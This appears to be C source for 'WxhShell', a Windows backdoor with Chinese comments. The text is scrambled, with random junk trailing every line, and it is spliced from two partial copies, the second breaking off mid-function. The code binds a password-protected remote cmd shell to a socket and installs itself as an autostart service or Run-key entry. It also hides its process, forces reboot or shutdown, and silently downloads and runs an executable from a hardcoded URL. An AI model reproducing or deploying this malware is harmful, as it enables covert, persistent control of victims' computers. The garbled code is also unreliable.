    if(Boot(SHUTDOWN)) Q<AOc\oO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H ;=^ W  
    else { 0~BaQ, A @  
    closesocket(wsh); h.#:7d(g  
    ExitThread(0); 8Snv, Lb`^  
    } A+Isk{d  
    break; td%J.&K_*'  
    } Pd&KAu|<`  
  // 获取shell ._tEDY/1m  
  case 's': { yW'{Z]09  
    CmdShell(wsh); QAxy?m,'  
    closesocket(wsh); "t^RZ45  
    ExitThread(0); kZ@UQ{>`  
    break; {~O4*2zg;K  
  } !5De?OXe   
  // 退出 v]on0Pi!  
  case 'x': { .-HM{6J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); };rp25i  
    CloseIt(wsh); _ s}aF  
    break; vS~tr sI  
    } k%~;mu"4}  
  // 离开 0/ 33Z Oc  
  case 'q': { H[?S*/n,<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f9#srIx+  
    closesocket(wsh); &1T)'Bn  
    WSACleanup(); SW}Rkr\e  
    exit(1); /_J{JGp9  
    break; (kO(R#M  
        } R- >~MLeK]  
  } 08jk~$%  
  } Sd ^I >;  
Ng;?hTw  
  // 提示信息 9a=:e=q3#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7WSP0Xyz  
} 3S_H&>K  
  } Dom]w.W5  
6;Z`9PGp  
  return; LYYz=oZOE!  
} Ig!0 A}f  
QlB9m2XB  
// shell模块句柄 )=gU~UV  
int CmdShell(SOCKET sock) *ilVkV"U  
{ q)?!]|pZ  
STARTUPINFO si; 2 ^"j]g>mj  
ZeroMemory(&si,sizeof(si)); ,(h -  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L;*7p9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rlh:| #GTJ  
PROCESS_INFORMATION ProcessInfo; -!7Z  
char cmdline[]="cmd"; P-T@'}lW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j<!dpt  
  return 0; Q{S{|.w-  
} zx8@4?bK  
NGi)Lh|  
// 自身启动模式 :+\sKEzL  
int StartFromService(void) Q hRz57'  
{ Ms5qQ<0v_  
typedef struct I:DAn!N-A*  
{ xC9?rLUZ  
  DWORD ExitStatus; i75\<X  
  DWORD PebBaseAddress; e%ro7~  
  DWORD AffinityMask; arR<!y7  
  DWORD BasePriority; I__b$  
  ULONG UniqueProcessId; TT(R<hL  
  ULONG InheritedFromUniqueProcessId; PJm@fK(j  
}   PROCESS_BASIC_INFORMATION; a,4GE'  
Zp[>[1@+  
PROCNTQSIP NtQueryInformationProcess; Ii}{{1N6  
yph@H!@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )d3C1Pd>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; onmkg}&_  
E71H=C 4  
  HANDLE             hProcess; @^ta)Ev  
  PROCESS_BASIC_INFORMATION pbi; $A5O>  
$Lfbt=f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %e25Z .Se$  
  if(NULL == hInst ) return 0; E83$(6z  
g*FHZM*N9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); : i.5 < f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <f}:YDY'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dEMv9"`*!  
F> Ika=z,  
  if (!NtQueryInformationProcess) return 0; ,ko#z}Z4r,  
JDa_;bqL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T; [T`  
  if(!hProcess) return 0; d, i4WKp   
fO5L[U^`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 73!NoDxb  
CTg79 ITYk  
  CloseHandle(hProcess); l{3zlXk3z  
n?6^j8i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }+`,AC`RM  
if(hProcess==NULL) return 0; Q: -&  
46 0/eW\  
HMODULE hMod; ,H?e23G  
char procName[255]; gI RZkT`  
unsigned long cbNeeded; nt&% sM-X  
:0%[u(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dj] O  
^Ar1V!PFk  
  CloseHandle(hProcess); Z?[ R;V1j  
u&={hJ&7  
if(strstr(procName,"services")) return 1; // 以服务启动 >_]Ov:5  
# ^,8JRA  
  return 0; // 注册表启动 /8:e| ]  
} +6+1N)L  
nzAySMD_  
// 主模块 {_4Hsw?s6  
int StartWxhshell(LPSTR lpCmdLine) s H'FqV,)  
{ 8* m,#   
  SOCKET wsl; @HI@PZ>  
BOOL val=TRUE; &uaSp, L  
  int port=0; l(3PxbT  
  struct sockaddr_in door; VFq\{@- %  
".AW   
  if(wscfg.ws_autoins) Install(); V1nqEdhk  
&q-P O  
port=atoi(lpCmdLine); ,=@WE> ip  
d8 v9[ 4  
if(port<=0) port=wscfg.ws_port; V$$9Rh  
79 _8Oh  
  WSADATA data; AYoTCi%7E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "\~>[on  
M`=\ijUwN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fm&f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &,Rye Q  
  door.sin_family = AF_INET; 7?_g m>]a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k&K'FaM!  
  door.sin_port = htons(port); {<Y!'WL{  
r4 5}o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !p36OEx  
closesocket(wsl); X H!n{Of  
return 1; d{WOO)j  
} .}!.: |  
3h o'\Ysu/  
  if(listen(wsl,2) == INVALID_SOCKET) { +Swl$ab  
closesocket(wsl); F2(^O Fh  
return 1; 6PWw^Cd  
} P?8$VAkj  
  Wxhshell(wsl); D}ZPgt#   
  WSACleanup(); !q/Q2N(  
BdvpG  
return 0; y{P~!Yn|  
8<6@O  
} d[;&2Jz*  
%[L/JJbP&Z  
// 以NT服务方式启动 & R<K>i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HDE5Mg "  
{ ]d|M@v~c4  
DWORD   status = 0; R5},E  
  DWORD   specificError = 0xfffffff; O#8lJ%?  
X,8Zn06M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _-v$fDrz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "Rf|o 6!d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -4J.YF>  
  serviceStatus.dwWin32ExitCode     = 0; a9 S&n5  
  serviceStatus.dwServiceSpecificExitCode = 0; TEK#AR  
  serviceStatus.dwCheckPoint       = 0; //$^~} wt  
  serviceStatus.dwWaitHint       = 0; w 17{2']  
"yU<X\n i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  )iPU   
  if (hServiceStatusHandle==0) return; U~zy;M T  
CX {M@x3m  
status = GetLastError(); t08[3Q&  
  if (status!=NO_ERROR) aiw4J  
{ @@!]Raj=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {pRa%DF  
    serviceStatus.dwCheckPoint       = 0; c~\^C_  
    serviceStatus.dwWaitHint       = 0; n:<Xp[;R  
    serviceStatus.dwWin32ExitCode     = status; JV2[jo}0 N  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q"LlBp>t|#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _$}@hD*R~  
    return; 0@&;JMh6<  
  } ^d9o \  
^@'zQa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8-O: e  
  serviceStatus.dwCheckPoint       = 0; !D 'A  
  serviceStatus.dwWaitHint       = 0; S->Sp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5VN~?#K  
} NfCo)C-t  
O]25 {L  
// 处理NT服务事件,比如:启动、停止 I|/|\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jfa<32`0E  
{ 94rx4"AN8;  
switch(fdwControl) N45@)s!F9j  
{ uE#i3( J  
case SERVICE_CONTROL_STOP: 8rz ,MsFR  
  serviceStatus.dwWin32ExitCode = 0; f[OJ qk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FT gt$I  
  serviceStatus.dwCheckPoint   = 0;  )Z:maz  
  serviceStatus.dwWaitHint     = 0; i Nn?G C>  
  { J,`I>^G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4J[csU  
  } Pn}oSCo  
  return; Qeq=4Nq  
case SERVICE_CONTROL_PAUSE: RHt~:D3*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BJZGQrsz  
  break; eTtiAF=bW  
case SERVICE_CONTROL_CONTINUE: # o\&G@e}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bU4\Yu   
  break; 1eS@ihkP  
case SERVICE_CONTROL_INTERROGATE: Ei@al>.\  
  break; URyY^+s  
}; 8 vvNn>Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DeN$YE#*  
} -K5u5l}  
m?1AgsBR  
// 标准应用程序主函数 uKT\\1Jrq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {~=gKZ:-@  
{ D rouEm  
yyjgPbLN=  
// 获取操作系统版本 61z^(F$@  
OsIsNt=GetOsVer(); z8PV&o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KZ/2W9r_,  
Y;sN UX  
  // 从命令行安装 ,fs>+]UY3  
  if(strpbrk(lpCmdLine,"iI")) Install(); \mwxV!!b$  
 !h* F58  
  // 下载执行文件 wA%,_s/U  
if(wscfg.ws_downexe) { dM5N1$1,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QnH~' k  
  WinExec(wscfg.ws_filenam,SW_HIDE); !wjD6 NK  
} `?(9Bl  
"3a_C,\  
if(!OsIsNt) { cvnRd.&  
// 如果时win9x,隐藏进程并且设置为注册表启动 1ZfhDtK(  
HideProc(); pW2-RHGJY  
StartWxhshell(lpCmdLine); Y &*nj`n  
} 2{-'`l fM%  
else |w`Q$ c  
  if(StartFromService()) `S/;S<';  
  // 以服务方式启动 sHMZ'9b  
  StartServiceCtrlDispatcher(DispatchTable); t=r*/DxX=  
else qH*Fv:qnM  
  // 普通方式启动 '$be+Z32  
  StartWxhshell(lpCmdLine); Bf6\KI<V2  
kM@heFJb.  
return 0; _i1x\Z~ N  
} ?(j:F2dU~  
~YrO>H` B  
%3 $EV}dp  
|1"n\4$  
=========================================== 25jgM!QBXF  
>[gNQJ6  
AU^5N3%j  
o51jw(wO  
2t"&>1  
xy1R_*.F^T  
" %C(^v)"  
i@#fyU)[G  
#include <stdio.h> G![JRJxQ  
#include <string.h> 97L# 3L6t  
#include <windows.h> qFYM2  
#include <winsock2.h> "~/O>.p  
#include <winsvc.h> JQ]A"xTIa*  
#include <urlmon.h> o@tc   
Q !G^CG  
#pragma comment (lib, "Ws2_32.lib") ,[<+7  
#pragma comment (lib, "urlmon.lib") $[DSe~  
*.F4?i2D  
#define MAX_USER   100 // 最大客户端连接数 z;ko )  
#define BUF_SOCK   200 // sock buffer _mn2bc9M  
#define KEY_BUFF   255 // 输入 buffer $:SSm $k  
o+^5W  
#define REBOOT     0   // 重启 tEHgQto  
#define SHUTDOWN   1   // 关机 ?hS&OtW   
hTVA^j(w  
#define DEF_PORT   5000 // 监听端口 |KLCO'x  
b;%>?U`>p  
#define REG_LEN     16   // 注册表键长度 g<$q#l~4xH  
#define SVC_LEN     80   // NT服务名长度 +1=]93gP  
L:E?tR}H  
// 从dll定义API C4^o= 6{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); - HiRXB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;_Z[' %  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ];8S<KiS~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <P1yA>=3`  
U/l3C(bc!  
// wxhshell配置信息 9B<aYp)  
struct WSCFG { @UCr`>  
  int ws_port;         // 监听端口 $Cx?%X^b  
  char ws_passstr[REG_LEN]; // 口令 bx8;`Q MX  
  int ws_autoins;       // 安装标记, 1=yes 0=no N(=Z4Nk5  
  char ws_regname[REG_LEN]; // 注册表键名  \qj(`0HG  
  char ws_svcname[REG_LEN]; // 服务名 s2*~n_B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y0_z_S#gO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ur K~]68  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {7Q)2NC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w9]HJ3qi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iininITOS{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Hx#1TqC /  
yHYK,3/C,  
}; ,,HoD~]rd  
@Z2^smf  
// default Wxhshell configuration o4F(X0  
struct WSCFG wscfg={DEF_PORT, ALXie86a8  
    "xuhuanlingzhe", 7w51UmO  
    1, `b?o%5V2x  
    "Wxhshell", iV2v<ap.n  
    "Wxhshell", $@^*lUw  
            "WxhShell Service", }^tW's8  
    "Wrsky Windows CmdShell Service", B3g # )  
    "Please Input Your Password: ", <e'/z3TbRW  
  1, L-eO_tTh0  
  "http://www.wrsky.com/wxhshell.exe", q@[UeXu?pZ  
  "Wxhshell.exe" c.4WwzK  
    }; :Fh#"<A&&  
Fv$oXg/  
// 消息定义模块 :erfs}I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oFL7dL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Gw-y6e'|Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T7R,6 qt  
char *msg_ws_ext="\n\rExit."; n4InZ!)  
char *msg_ws_end="\n\rQuit."; p!>DA?vF  
char *msg_ws_boot="\n\rReboot..."; "el}9OitC  
char *msg_ws_poff="\n\rShutdown..."; xVN(It7g  
char *msg_ws_down="\n\rSave to "; >0E3Em<(}l  
W:8pmI  
char *msg_ws_err="\n\rErr!"; ex6 QHUQ  
char *msg_ws_ok="\n\rOK!"; 4@r76v}{  
-an~&C5\  
char ExeFile[MAX_PATH]; sZPyEIXie  
int nUser = 0; sT'j36Nc<,  
HANDLE handles[MAX_USER]; zS*vKyye>  
int OsIsNt; )|wC 1J!L  
k&lfxb9pd  
SERVICE_STATUS       serviceStatus; ]FEDAGu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; suHi sc*  
unc8WXW  
// 函数声明 7:e5l19 uI  
int Install(void); >u+%H vzc  
int Uninstall(void); p^k*[3$0  
int DownloadFile(char *sURL, SOCKET wsh); ZRj/lQ2D  
int Boot(int flag); ?7uK:'8  
void HideProc(void); Fv<3VKueK[  
int GetOsVer(void); V3(8?Fz.  
int Wxhshell(SOCKET wsl); ~S\8 '  
void TalkWithClient(void *cs); S!66t?vHB  
int CmdShell(SOCKET sock); aC94g7)`  
int StartFromService(void); bbT1p :RF  
int StartWxhshell(LPSTR lpCmdLine); YI>9C 76L  
XhUVDmeUMb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P'^& SK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =q}Z2 OoYh  
3  $a;  
// 数据结构和表定义 t;V^OGflv  
SERVICE_TABLE_ENTRY DispatchTable[] = g@Pq<   
{ *dN_=32u  
{wscfg.ws_svcname, NTServiceMain}, G > t  
{NULL, NULL} $WXO1o(O  
}; 3wg1wl|  
3&6sQ-}*  
// 自我安装 "U/yq  
int Install(void) 9_O6Sl  
{ =b, m3 1  
  char svExeFile[MAX_PATH]; UF$O@l  
  HKEY key; 7AlL,&+  
  strcpy(svExeFile,ExeFile); C3'?E<F  
!%[fi[p  
// 如果是win9x系统,修改注册表设为自启动 j2%fAs<  
if(!OsIsNt) { ^B1$|C D,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >pp#>{}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -@ra~li,yQ  
  RegCloseKey(key); [8Fn0A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?aI. Z+#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M:dH>  
  RegCloseKey(key); !f]kTs]j~  
  return 0; BS ]:w(}[  
    } T;]Ob3(BpW  
  } AiB]A}  
} *Nfot v  
else { =WHI/|&  
f[ KI T  
// 如果是NT以上系统,安装为系统服务 o/ 7[ G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {$#88Qa\-  
if (schSCManager!=0) J=&}$  
{ ym+Ezb#o  
  SC_HANDLE schService = CreateService )x~ /qHt  
  ( GG"6O_  
  schSCManager, j+rY  
  wscfg.ws_svcname, pXvys] @  
  wscfg.ws_svcdisp, x4(8 =&Z  
  SERVICE_ALL_ACCESS, ; +.cD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yZN~A:  
  SERVICE_AUTO_START, nM ?Nf}  
  SERVICE_ERROR_NORMAL, r Nurzag  
  svExeFile, 3@:O1i  
  NULL, dS\!tdHP-Q  
  NULL, slhMvHOk-  
  NULL, mHV{9J  
  NULL, IRueq @4  
  NULL ANJL8t-m  
  ); q#SEtyJL  
  if (schService!=0) wph8ln"C-  
  { R7K`9 c1f6  
  CloseServiceHandle(schService); .YWkFTlZ+  
  CloseServiceHandle(schSCManager); Zw _aeJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <*WGvCh%w  
  strcat(svExeFile,wscfg.ws_svcname); G0~Z|P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IUDH"~f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^*.+4iHx  
  RegCloseKey(key); 4HR36=E6  
  return 0; ![nL/  
    } QnP?j&  
  } D9NQ3[R 9  
  CloseServiceHandle(schSCManager); fVf:voh  
} e&*b{>1*  
} Z4c'1-lh  
@}:E{J#g  
return 1; B-$?5Ft!  
} Aj=GekX{  
g4W/T  
// 自我卸载 ;p*L(8<YI  
int Uninstall(void) .(Ux1.0C  
{ 9nQyPb6  
  HKEY key; VB  |k  
Mz$qe  
if(!OsIsNt) { b/\O;o}]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U7fpaxc-  
  RegDeleteValue(key,wscfg.ws_regname); hb~d4J=S  
  RegCloseKey(key); =CFg~8W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *g}==o`  
  RegDeleteValue(key,wscfg.ws_regname); OO/>}? ob  
  RegCloseKey(key); zx "EAF{  
  return 0; Bi fI.2|  
  } D_<B^3w )  
} m8L %!6o  
} \4$Nx/@Q}  
else { ?~.9: 93  
E l.eK9L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dk]  
if (schSCManager!=0) (:~_#BA  
{ pvt/{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ap\]v2G  
  if (schService!=0) 3@eI? (N  
  { ~7}no}7  
  if(DeleteService(schService)!=0) { sR PQr ?  
  CloseServiceHandle(schService); _d~GY,WTdO  
  CloseServiceHandle(schSCManager); |:(BI5&S  
  return 0; k(>J?\iNW  
  } PNLlJlYlP  
  CloseServiceHandle(schService); 24InwR|^  
  } OdyL j  
  CloseServiceHandle(schSCManager);  A|IPQ=  
} ~qb?#IY]`  
} D.AiqO<z  
wMF1HT<*  
return 1; 2\$<&]q  
} "AJ>pU3  
`$ bQ8$+Ci  
// 从指定url下载文件 jc6~V$3  
int DownloadFile(char *sURL, SOCKET wsh) nC/T$ #G  
{ \K9Y@jnr  
  HRESULT hr; coaJDg+  
char seps[]= "/"; 7m8:odeF  
char *token; 6"?#s/fk  
char *file; lKI]q<2  
char myURL[MAX_PATH]; ,trh)ZZYW|  
char myFILE[MAX_PATH]; rf$[8d  
\2@9k`  
strcpy(myURL,sURL); J=^5GfM)J  
  token=strtok(myURL,seps); ND9;%<80  
  while(token!=NULL) *sfz+8Y  
  { !5m~qet.  
    file=token; h*P0;V`UX  
  token=strtok(NULL,seps); +f]I7e:qp  
  } Jz;`L3m  
z SsogAx  
GetCurrentDirectory(MAX_PATH,myFILE); $3#oA.~R/  
strcat(myFILE, "\\"); k3OnvnJb  
strcat(myFILE, file); >>J!|  
  send(wsh,myFILE,strlen(myFILE),0); OB,T>o@  
send(wsh,"...",3,0); AsZyPybq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a3Z()|t>  
  if(hr==S_OK) _["97>q  
return 0; Vyx&MU.-J  
else jq/{|<0  
return 1; &xlOsr/n  
d9 8pv%  
} EjVB\6,  
y;9K  
// 系统电源模块 NVC$8imip  
int Boot(int flag) )[sSCt]  
{ #@5 jOi  
  HANDLE hToken; CA"`7<,  
  TOKEN_PRIVILEGES tkp; n |,}   
4P24ySy9F  
  if(OsIsNt) { B;{sr'CP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9qZ|=r]y'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SLd9-N}T  
    tkp.PrivilegeCount = 1; MT&q~jx*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \v9<L'NP)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e8]mdU{)  
if(flag==REBOOT) { H~*[v"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &P8Q|A-u  
  return 0; x2f_>tu2  
} FUPJ&7+B  
else { T5U(B3j_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K&Q0]r?  
  return 0; yFP#z5G  
} inGH'nl_  
  } ]@1ncn7N  
  else { RzSN,bL R  
if(flag==REBOOT) { p7O4CP>9[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p/s5[>N  
  return 0; CV7.hF<  
} wA)R7%&  
else { ]zK} X!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aR;Q^YJ+a  
  return 0; ?at~il$z'  
} PsD]gN5"  
} R ?\8SdJ  
Un[#zh<4  
return 1; &jPsdv h  
} gzdgnF2  
8|Y^z_C  
// win9x进程隐藏模块 8i"{GGVC  
void HideProc(void) {gi"ktgk  
{ 1Kebl  
veE8 N~0N.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kp;MNRc  
  if ( hKernel != NULL ) Z#W`0G>'  
  { CnA*o 8w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +~/zCJ;F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \J\1i=a-=  
    FreeLibrary(hKernel); CblL1q8  
  } g-(xuR^*  
G6Fg<g9:  
return; 86} rz  
} ;j_#,Da9<  
QU4'x4YS  
// 获取操作系统版本 #6m//0 u  
int GetOsVer(void) C"mb-n 7s  
{ "|&*MjwN6  
  OSVERSIONINFO winfo; p0YTZS ]h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I~T?tm  
  GetVersionEx(&winfo); (}qLxZ/U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V[#lFl).  
  return 1; Ul@' z|  
  else $1@{Zz!S  
  return 0; "Ii!)n,  
} F;NZJEy  
mg;AcAS.o,  
// 客户端句柄模块 ,zyrBO0 Eq  
int Wxhshell(SOCKET wsl) _bz,G"w+:  
{ Zd%\x[f9ck  
  SOCKET wsh; Tp6ysjao  
  struct sockaddr_in client; },L[bDOV07  
  DWORD myID; f!I e  
fu&]t8MJC  
  while(nUser<MAX_USER) G`W+m*[U+M  
{ vA{[F7  
  int nSize=sizeof(client); Wl2>U(lj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [E/3&3  
  if(wsh==INVALID_SOCKET) return 1; Mo<p+*8u:  
%`\{Nx k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gR>#LM&dG  
if(handles[nUser]==0) J/*[wj  
  closesocket(wsh); e O}mZN  
else &\K#UVDyhh  
  nUser++; Bms?`7}N  
  } wIiT :o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V)Xcn'h  
zj)[Sn tn?  
  return 0; Kj>_XaFCg!  
} 8ksDXf`.  
V!=]a^]:  
// 关闭 socket \d;Ow8%d/  
void CloseIt(SOCKET wsh) LMDa68 s  
{ 8+W^t I  
closesocket(wsh); Z n!SHj  
nUser--; Mt:(w;Y  
ExitThread(0); `'QPe42  
} t8[:}[Jx  
ZtT`_G&  
// 客户端请求句柄 pL-$Np] V  
void TalkWithClient(void *cs) ={oO9.9  
{ i xyjl[G  
1FX-#Y`e  
  SOCKET wsh=(SOCKET)cs; `jkn*:m  
  char pwd[SVC_LEN]; mnia>; 0H  
  char cmd[KEY_BUFF]; J{ Vl2P?@  
char chr[1]; #75;%a8  
int i,j; Mf63 59  
tpctz~ .  
  while (nUser < MAX_USER) { *dl@)~i  
btE+.V  
if(wscfg.ws_passstr) { ro{MD s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "869n37  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M@3H]t?  
  //ZeroMemory(pwd,KEY_BUFF); zYNJF>^<  
      i=0; U|QDV16f  
  while(i<SVC_LEN) { |g{AD`  
'37b[~k4  
  // 设置超时 :[&X*bw[  
  fd_set FdRead; /_|1,x-Kx  
  struct timeval TimeOut; ?~{xL"  
  FD_ZERO(&FdRead); \NqC i'&  
  FD_SET(wsh,&FdRead); (65p/$Vh  
  TimeOut.tv_sec=8; 2S4z$(x3  
  TimeOut.tv_usec=0; $} Myj'`r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |+bG~~~%j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .,,73"  
.wSAysiQ|P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v> 5F[0gE  
  pwd=chr[0]; B+LNDnjO]  
  if(chr[0]==0xd || chr[0]==0xa) { V_kE"W)  
  pwd=0; sFTIRVXN,  
  break; Y(f-e,  
  } 4Ojw&ys@V  
  i++; U{Z>y?V/  
    } ^J_hkw~gO  
qr 9 F  
  // 如果是非法用户,关闭 socket [8w2U%}]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2 *$n?  
} K&h6#[^\d  
ihVQ,Cth  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ah`dt8t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4@I]PG  
EUkNh>U?  
while(1) { =)8Ct  
g]#Wve  
  ZeroMemory(cmd,KEY_BUFF); _;{-w%Vf  
qg/5m;U  
      // 自动支持客户端 telnet标准   I .ty-X]  
  j=0; z"#.o^5  
  while(j<KEY_BUFF) { !)=o,sVA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [}p.*U_nw  
  cmd[j]=chr[0]; @gc"-V*-/  
  if(chr[0]==0xa || chr[0]==0xd) { EoeEg,'~F  
  cmd[j]=0; 4o3GS8  
  break; `N|CL  
  } `^kST><  
  j++; ?r<F\rBT7*  
    } %"zJsYQ!  
Ev16xL8B  
  // 下载文件 wrU[#g,uvr  
  if(strstr(cmd,"http://")) { -wfV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }TW=eu~  
  if(DownloadFile(cmd,wsh)) 'r%oOZk)z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jxaoQeac  
  else v2{s2kB=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Y11sDa9h  
  } l0{DnQA>I  
  else { F948%?a  
kVv <tw  
